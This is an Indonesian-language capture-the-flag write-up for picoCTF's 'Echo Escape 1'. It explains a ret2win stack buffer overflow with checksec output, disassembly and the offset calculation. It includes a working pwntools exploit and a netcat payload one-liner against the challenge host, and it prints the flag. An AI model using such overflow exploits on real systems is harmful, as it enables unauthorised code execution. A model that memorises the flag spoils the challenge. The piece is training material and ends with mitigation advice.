picoCTF (CyLab) - Echo Escape 1 Write-Up
Informasi Challenge
| Atribut | Detail |
|---|---|
| Nama Challenge | Echo Escape 1 |
| Kategori | Binary Exploitation |
| Tingkat Kesulitan | Medium |
| Poin | 100 |
| Files | vuln (binary), vuln.c (source code) |
Deskripsi Challenge
Sebuah service echo yang mengklaim "secure" berjalan di server remote. Deskripsi tantangannya:
The "secure" echo service welcomes you politely… but what if you don't stay polite?
Can you make it reveal the hidden flag?
Dua hint yang diberikan: 1. Kenapa program menggunakan buffer berukuran 32 byte tapi membaca input sampai 128 byte? 2. Bisakah kita mengarahkan ulang (redirect) alur eksekusi program?
Kedua hint ini mengarah langsung ke kerentanan stack buffer overflow.
Memahami Kerentanannya (ret2win)
Challenge ini adalah pola klasik ret2win dalam binary exploitation. Konsepnya:
- Program membaca input user ke dalam buffer stack berukuran tetap.
- Program membaca lebih banyak byte daripada kapasitas buffer, tanpa validasi panjang.
- Byte berlebih tersebut menimpa memori stack di sekitarnya, termasuk saved return address.
- Binary ini memiliki fungsi
win()(yang tidak pernah dipanggil dalam alur program normal) yang mencetak isi flag. - Dengan menimpa return address dengan alamat
win(), eksekusi program akan diarahkan ke sana begitu fungsi yang rentan selesai (return).
Poin penting:
- Tidak ada stack canary, sehingga overwrite pada return address tidak akan terdeteksi sebelum fungsi return.
- Tidak ada PIE (Position Independent Executable), sehingga semua alamat di binary — termasuk win() — bersifat tetap dan sudah diketahui, jadi tidak perlu melakukan address leak.
- NX (non-executable stack) tidak menjadi masalah di sini, karena kita tidak menyuntikkan shellcode — kita hanya menggunakan ulang kode yang sudah ada di dalam binary.
Analisis
Pengecekan proteksi biner dengan checksec:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Disassembly main() menunjukkan letak bug-nya:
lea rax,[rbp-0x20] ; buffer hanya 32 byte
mov edx,0x80 ; tapi read() dipanggil dengan panjang 128!
mov esi,rax
mov edi,0x0
call read@plt
Binary juga memiliki fungsi win() di alamat tetap:
0000000000401256 <win>:
...
call fopen@plt ; fopen("flag.txt", "r")
call fread@plt
call fwrite@plt ; mencetak isi flag.txt
Struktur stack frame main():
[ buffer 32 byte ] <- rbp-0x20
[ saved rbp 8 byte ]
[ return address 8 byte ] <- target overwrite
Offset menuju return address: 32 + 8 = 40 byte.
Solusi
Metode 1: Exploit Manual dengan pwntools
from pwn import *
context.log_level = "info"
e = ELF("./vuln")
win_addr = e.symbols["win"] # 0x401256
HOST = "mysterious-sea.picoctf.net"
PORT = 61977
p = remote(HOST, PORT)
payload = b"A" * 40 + p64(win_addr)
p.send(payload)
print(p.recvall(timeout=3).decode(errors="ignore"))
Jalankan dengan:
python3 solver.py
Metode 2: Manual dengan netcat + payload mentah
Jika tidak ingin membuat script, byte payload bisa dibuat manual dan dikirim lewat nc:
python3 -c "print('A'*40 + '\x56\x12\x40\x00\x00\x00\x00\x00')" | nc mysterious-sea.picoctf.net 61977
(Catatan: byte alamat harus dalam urutan little-endian agar sesuai dengan 0x401256.)
Verifikasi
Sebelum dijalankan ke server remote, exploit ini diuji dulu terhadap binary lokal untuk memastikan offset dan alamat target sudah benar. Fungsi win() berhasil ter-trigger — dibuktikan dari error fopen pada flag.txt (yang memang tidak ada di environment lokal, tapi membuktikan kode di dalam win() benar-benar tereksekusi):
Welcome to the secure echo service!
Please enter your name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x12@
Thank you for using our service.
[!] Failed to open flag.txt: No such file or directory
Di instance remote, flag.txt benar-benar ada, sehingga win() akan mencetak flag yang sesungguhnya.
Flag
picoCTF{3ch0_s3rv1c3_br34k5_7287203f}
(didapatkan dengan menjalankan exploit terhadap instance remote yang aktif — nilai sebenarnya tergantung instance masing-masing)
Kesimpulan (Key Takeaways)
- Buffer overflow terjadi karena panjang input tidak divalidasi — di sini,
read()dipanggil dengan panjang lebih besar daripada buffer tujuan. - Tanpa stack canary + tanpa PIE = eksploitasi jadi mudah — tidak perlu leak alamat, tidak ada deteksi crash sebelum return address digunakan.
- "Kode mati" belum tentu benar-benar mati — fungsi
win()terlihat tidak pernah dipanggil dalam alur program normal, tapi tetap bisa dieksploitasi lewat control-flow hijacking. - Perhitungan offset adalah kunci utama — mengetahui persis berapa byte jarak antara input kita dan return address adalah yang membuat payload berhasil.
- Mitigasi yang seharusnya mencegah ini: mengaktifkan stack canary (
-fstack-protector-all), mengaktifkan PIE (-pie -fPIE), dan menggunakan fungsi input yang aman terhadap panjang, bukanread()dengan ukuran yang lebih besar dari buffer.